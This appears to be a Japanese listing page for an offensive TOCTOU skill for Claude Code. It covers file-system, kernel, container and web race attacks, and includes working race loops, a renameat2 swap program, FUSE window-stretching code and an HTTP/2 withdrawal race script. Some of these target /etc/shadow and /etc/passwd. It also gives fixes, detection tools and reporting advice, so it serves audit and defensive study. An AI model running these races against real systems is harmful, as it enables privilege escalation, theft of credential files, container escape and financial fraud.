offensive-toctou について
セキュリティ研究者やコード監査担当者向けの TOCTOU 攻撃ガイドです。ファイルシステム、カーネル、コンテナ、Web/API の競合と、競合窓の拡大、検出、報告方法を扱います。
主な機能
- 01チェックと使用の間の競合特定
- 02ファイルシステムと setuid の攻撃手法
- 03カーネルの二重取得と procfs の競合
- 04コンテナ脱出と Web/API の事例
- 05競合窓の拡大、検出、報告
活用シーン
- 01ユーザー指定パスを複数回解決するプログラムの監査
- 02クォータ、認可、長時間処理における競合のテスト
- 03コンテナランタイムのパスとファイル記述子のリスク分析
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ snailsploit/ claude-red --skill offensive-toctouインストール後、Claude Code で/offensive-toctouを入力して読み込まれたか確認します。
詳細
TOCTOU — 確認と使用の間の競合状態の悪用
コードがプロパティ(ファイルの所有者、パスの参照先、トークンの有効性、残高)を確認した後、そのプロパティがまだ有効であるかのように処理する箇所には、TOCTOU バグが存在します。確認と使用の間には隙があります。これを広げ、基盤となるオブジェクトを入れ替えるのが目的です。
クイックワークフロー
- 確認(システムコール、関数、検証ステップ)と使用(特権を伴う操作)を特定します
- 確認と使用が同じカーネルオブジェクト(FD、inode、アトミックなスナップショット)を対象としていないことを確認します
- 確認と使用の間にオブジェクトを入れ替える手段(シンボリックリンク、マウント、mv、並列リクエスト)を用意します
- FUSE、低速なファイルシステム、スケジューラーを利用した手法、単一パケットの HTTP/2 で隙を広げます
- 高速なループを実行し、使用後の状態が入れ替えた対象に対応していることを確認します
基本パターン
// Vulnerable
if (access(path, W_OK) == 0) { // check — resolves "path" now
fd = open(path, O_WRONLY); // use — re-resolves "path" later
write(fd, attacker_data, n);
}
access と open の間に、攻撃者が path を /etc/shadow を指すシンボリックリンクに置き換えます。確認では攻撃者が所有するファイルが見えますが、使用時には root として shadow を開きます。
修正方法は常に、パスではなくカーネルオブジェクトを操作することです。O_NOFOLLOW、AT_SYMLINK_NOFOLLOW を指定した openat、FD に対する fstat などを使用します。
ファイルシステムの TOCTOU
シンボリックリンクの入れ替え(定番)
# Setup target — privileged binary that writes to user-supplied path after access() check
victim --output /tmp/.attacker/output
# Race loop
while true; do
ln -sf /etc/passwd /tmp/.attacker/output 2>/dev/null
ln -sf /tmp/.attacker/legit /tmp/.attacker/output 2>/dev/null
done &
# Run victim repeatedly
while true; do victim --output /tmp/.attacker/output; done
renameat2(RENAME_EXCHANGE) — アトミックな単一フレームの入れ替え
syscall(SYS_renameat2, AT_FDCWD, "good", AT_FDCWD, "bad", RENAME_EXCHANGE);
RENAME_EXCHANGE は2つのパスをアトミックに入れ替えます。これに FUSE でディレクトリーの検索を一時停止する方法を組み合わせると、Linux ≥ 3.15 ではほぼ確実に成功する手段になります。
ディレクトリーの入れ替え(用意した2つのツリー間で mv)
被害対象が parent/file を解決するタイミングで、parent 自体を入れ替えます。
mv good_dir parent && mv evil_dir parent_was_good_dir
# If victim is mid-resolution of `parent/file`, dir cache may pin one side
バインドマウント/マウント名前空間の入れ替え(root のみ、またはユーザー名前空間内)
unshare -mUr
mkdir /tmp/x /tmp/y
echo benign > /tmp/x/file
mount --bind /etc/shadow /tmp/y/file
# Then: while true; do mount --move /tmp/x /tmp/m; mount --move /tmp/y /tmp/m; done
コンテナー化された環境で、ユーザー名前空間内の CAP_SYS_ADMIN を利用できる場合、これは複数の runc/CVE エスケープチェーンの基盤となります。
隙を広げる手段
理論上は常に競合に勝てますが、実際には入れ替えに十分な隙が必要です。
FUSE を利用した低速ファイルシステム
自分で制御する FUSE ファイルシステムをマウントします。被害対象が open または stat を呼び出したときに、ハンドラーをスリープさせます。
# fusepy
class SlowFS(Operations):
def getattr(self, path, fh=None):
if path == '/trigger':
time.sleep(5) # stretch the check
return os.lstat(self.root + path).__dict__
これで被害対象内の確認呼び出しが5秒間ブロックします。確認後のファイル名を入れ替えるには十分な時間です。
Userfaultfd(カーネルレベルのページフォールト)
// Register a userfault region; when the victim reads the user-controlled buffer,
// pause it in the page-fault handler, swap data, then resume.
ioctl(uffd, UFFDIO_REGISTER, ®);
userfaultfd を使うと、カーネル側の copy_from_user を読み取りの途中で一時停止でき、二重取得を利用した攻撃が可能になります。Linux ≥ 5.11 では vm.unprivileged_userfaultfd=1 が必要です(多くのディストリビューションではデフォルトで無効です)。
Cgroup のフリーズ
mkdir /sys/fs/cgroup/race
echo $victim_pid > /sys/fs/cgroup/race/cgroup.procs
echo 1 > /sys/fs/cgroup/race/cgroup.freeze # pause
# swap files
echo 0 > /sys/fs/cgroup/race/cgroup.freeze # resume
単一 CPU への固定と sched_yield
cpu_set_t set; CPU_ZERO(&set); CPU_SET(0, &set);
sched_setaffinity(victim_pid, sizeof(set), &set);
// Race threads on same CPU — context switch is the only progress unit
カーネルの二重取得
カーネル関数が同じユーザー空間の場所を2回読み込みます。攻撃者は userfaultfd または別のスレッドを使って、その間に値を変更します。
// Vulnerable kernel pattern
copy_from_user(&size, &user_arg->size, 4); // first fetch
if (size > MAX) return -EINVAL;
copy_from_user(buf, user_arg->data, size); // size re-fetched? Or from local? Check carefully.
ツール:KFENCE、Bochspwn-Reloaded、DECAF — 二重取得を検出するファザーおよびアナライザーです。
/proc と procfs の競合
/proc/pid/exe と ptrace
/proc/<pid>/exe はマジックシンボリックリンクです。特権バイナリーが fork+exec の後にこれを開く場合、攻撃者は exec を競合させて、低速なファイルシステム上にある攻撃者が制御するバイナリーを exe に指させることができます。CVE-2019-5736(runc)の基盤となった手法です。
// Sketch
fd = open("/proc/self/exe", O_RDONLY); // by attacker, in container
// Then the host runc opens /proc/<pid>/exe to write — opens *attacker's* exe → host RCE
/proc/pid/mem
歴史的には、open("/proc/pid/mem") の後に lseek+write を実行すると、書き込み保護を回避できました。現在のカーネルでは書き込み時に ptrace の認証情報が確認されますが、レガシーなカーネルやチェックが削除されたカーネルは、組み込みカーネルに今も存在します。
/proc/pid/cwd / fd / root
シンボリックリンクは、参照解除時に対象タスクの名前空間を使って解決されます。兄弟コンテナーから /proc/pid/root/etc/shadow を名前空間をまたいで参照解除する問題は、繰り返し見られる脆弱性の種類です。
setuid バイナリーの TOCTOU
// Vulnerable flow in classic SUID binary
if (!access(file, R_OK)) { // check with real UID via access()
fd = open(file, O_RDONLY); // open with effective UID = root
sendfile(stdout, fd, ...);
}
access と open の間にシンボリックリンクを入れ替えると、バイナリーに非特権ユーザー向けの処理として、root のみ読み取り可能なファイルを読み込ませることができます。
setuid/setgid バイナリーをレビューする際の経験則: システムコールのトレースに2回現れるパスは、すべて候補です。
strace -f -e openat,access,stat,lstat,readlink ./suid_binary 2>&1 | grep "$user_input"
# Multiple resolutions of the same user-controlled path = TOCTOU surface
TOCTOU によるコンテナーエスケープ
CVE-2019-5736 (runc) — /proc/self/exe の上書き
コンテナが docker exec を実行すると、runc はホストから /proc/self/exe を開きます。コンテナ内のバイナリを /proc/self/exe へのシンボリックリンクに置き換えることで、ホストの runc が自身を書き換えてしまいます。
CVE-2024-21626 (runc「Leaky Vessels」) — 作業ディレクトリの FD リーク
ホストのファイルシステムへのリークしたファイルディスクリプタが、WORKDIR /proc/self/fd/<n> を介して継承される可能性がありました。コンテナの最初のプロセスがホストの FD を保持し、名前空間のセットアップにおける競合により、ホストのパスに対して操作を行える状態でした。
マウント時のシンボリックリンク競合
ランタイムがバインドマウントのソース/ターゲットパスを解決する際 (たとえば tmpfs のセットアップ時)、攻撃者が高速にパス内のディレクトリを / へのシンボリックリンクと入れ替えます。Kubernetes の hostPath、Docker ボリューム、OpenShift の SCC バイパスなどでよく見られます。
Web / API の TOCTOU
ゲートウェイにおける認証と認可の分離
Gateway: validates JWT (signature, exp) → forwards to service
Service: trusts gateway's "X-User-Id" header
ゲートウェイのキャッシュとゲートウェイの検証の間で JWT が失効した場合、またはゲートウェイが「有効」という結果を長すぎる期間キャッシュした場合、失効後のアクセスが発生します。キャッシュキーの混同 (異なるゲートウェイノード) により、このウィンドウが広がります。
長時間実行アクションで権限の再チェックがスキップされる
# Vulnerable
def long_export(user, resource_id):
check_access(user, resource_id) # check
data = stream_resource(resource_id) # use — minutes long
return data # access could have been revoked mid-stream
テスト方法: ダウンロードの途中でアクセス権を取り消し、データが流れ続ける場合は再チェックが欠落しています。
異なるボディでの Idempotency-Key の再利用
POST /api/withdraw Idempotency-Key: K1 { "amount": 1 }
POST /api/withdraw Idempotency-Key: K1 { "amount": 1000 } # Same key, different body
多くの実装ではキーのみをキーとし、キー+ボディハッシュをキーとしていません → 2 番目のリクエストは 2 番目のデビットを処理しつつ、1 番目のレスポンスを返します。
単一パケットによる複数リクエスト
HTTP/2: hold N requests' DATA frames, send all END_STREAM in one TCP segment.
Server schedules N handlers concurrently with sub-millisecond skew → reliable race wins.
Tool: Burp Repeater "Send group in parallel (single-packet)".
これは 2023 年以降、Web の TOCTOU における標準的なプリミティブです。従来の httpie ... & による並列化は時代遅れです。
制限 / クォータの TOCTOU
# Vulnerable
if user.balance >= amount: # check
user.balance -= amount # use — non-atomic read-modify-write
pay(user, amount)
N 個の並列リクエストを送信すると、それぞれがデクリメント前の同じ残高を参照します。修正方法: 制約付きのアトミックなデクリメント (UPDATE ... WHERE balance >= amount)。
モバイル / バイナリのクックブック
Android: Intent リダイレクトの TOCTOU
Activity は getCallingPackage() で呼び出し元パッケージをチェックしてから Intent でディスパッチしますが、チェックとディスパッチの間に、攻撃者が基盤となる ContentProvider URI の authority 解決をすり替えます。
iOS: NSXPC の audit token 混同
audit_token_t は各 XPC メッセージ処理の開始時にキャプチャすべきです。サービスが一度キャプチャして再利用すると、攻撃者は PID の再利用を競合させてなりすますことができます。
検出とツール
| ツール | レイヤー | 用途 |
|---|---|---|
strace -e trace=file -f | Linux システムコール | 重複したパス解決の検出 |
bpftrace / bcc | カーネル | 特定のシステムコールの引数を大規模にプローブ |
| ThreadSanitizer (TSan) | ユーザー空間 C/C++ | コンパイル時の競合検出 |
| Helgrind / DRD | ユーザー空間 | Pthread の競合検出 |
| Bochspwn-Reloaded | カーネル | ダブルフェッチの検出 |
syzkaller | カーネル | カバレッジガイド付き競合ファジング |
| Burp Suite (Repeater 単一パケット) | Web/HTTP | 同時リクエストの競合 |
racepwn | Web | マルチスレッド + タイミングハーネス |
Turbo Intruder | Web | パイプライン化された並列リクエスト |
# Quick filesystem TOCTOU finder against a binary
strace -f -e trace=file ./target 2>&1 | \
awk -F'"' '/access|stat|lstat|open|readlink/ {print $2}' | \
sort | uniq -c | sort -rn | head
# Paths appearing N>1 times → TOCTOU candidates
競合ループのテンプレート
ファイルシステム (C)
#include <sys/syscall.h>
#include <linux/fs.h>
int main() {
pid_t p = fork();
if (!p) { for(;;) syscall(SYS_renameat2, -100,"a",-100,"b",RENAME_EXCHANGE); }
for(;;) execve(victim, args, env);
}
Web (Python — 単一パケット HTTP/2)
# Use httpx or h2 directly; pyburp or turbo-intruder for production
import httpx, anyio
async def race():
async with httpx.AsyncClient(http2=True) as c:
async with anyio.create_task_group() as tg:
for _ in range(30):
tg.start_soon(c.post, "https://app/withdraw", json={"amount": 100})
anyio.run(race)
TLS で真に信頼性を求めるなら、Burp の単一パケット機能を優先してください。これは HTTP/2 のラストバイト同期を組み立てます。
報告 / 深刻度
TOCTOU の所見の深刻度は、ウィンドウのサイズ (決定的か確率的か)、必要な隣接性 (ローカルユーザー / コンテナ / 認証済みリモート)、および使用後のプリミティブ (ファイル書き込み、認証バイパス、金銭) に基づきます。「1 万分の 1 の確率で root を奪える競合」は、ウィンドウを広げるプリミティブと連鎖させれば、「決定的に root を奪える競合」と同じ所見です。常に次のことを実証してください:
- 最小の再現手順
- 使用したウィンドウ拡大手法
- 観測された成功率
- 達成された悪用後のプリミティブ
主要な参考文献
- MITRE CWE-367 (TOCTOU)、CWE-362 (競合状態)
- USENIX Security: 「FUSE for Profit」 — TOCTOU のウィンドウ拡大
- PortSwigger Research: 「Smashing the state machine」 (単一パケット HTTP/2 攻撃)
- runc CVE-2019-5736、CVE-2024-21626 のアドバイザリ
- 出典: https://github.com/SnailSploit/offensive-checklist/blob/main/toctou.md